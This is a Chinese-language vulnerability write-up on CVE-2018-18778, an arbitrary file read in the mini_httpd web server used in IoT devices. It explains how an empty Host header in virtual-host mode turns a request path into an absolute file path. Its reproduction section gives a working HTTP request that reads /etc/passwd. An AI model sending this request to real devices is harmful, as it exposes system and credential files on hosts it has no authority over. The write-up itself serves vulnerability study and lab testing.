mini_httpd任意文件讀取漏洞(CVE-2018-18778)
Mini_httpd是一個微型的Http服務器,在佔用系統資源較小的情況下可以保持一定程度的性能(約爲Apache的90%),因此廣泛被各類IOT(路由器,交換器,攝像頭等)作爲嵌入式服務器。而包括華爲,zyxel,海康威視,樹莓派等在內的廠商的旗下設備都曾採用Mini_httpd組件。
在mini_httpd開啓虛擬主機模式的情況下,用戶請求http://HOST/FILE
將會訪問到當前目錄下的HOST/FILE
文件。
虛擬主機模式並不是默認開啓,需要在命令行利用-v參數開啓(mini_httpd -v -C mini_httpd.conf)
當虛擬主機模式開啓後,網絡請求文件的絕對路徑爲:Host頭+url。因此攻擊者只要在web端口訪問服務器時,設置Host頭爲空,等同於通知服務器需要某絕對物理路徑文件。
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
見上述代碼,分析如下:
- 當HOST=
example.com
、FILE=index.html
的時候,上述語句結果爲example.com/index.html
,文件正常讀取。 - 當HOST爲空、FILE=
etc/passwd
的時候,上述語句結果爲/etc/passwd
。
後者被作爲絕對路徑,於是讀取到了/etc/passwd
,造成任意文件讀取漏洞。
漏洞復現
環境啓動後,訪問http://your-ip:8080
即可看到Web頁面。
發送請求是將Host置空,PATH的值是文件絕對路徑:
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
成功讀取文件: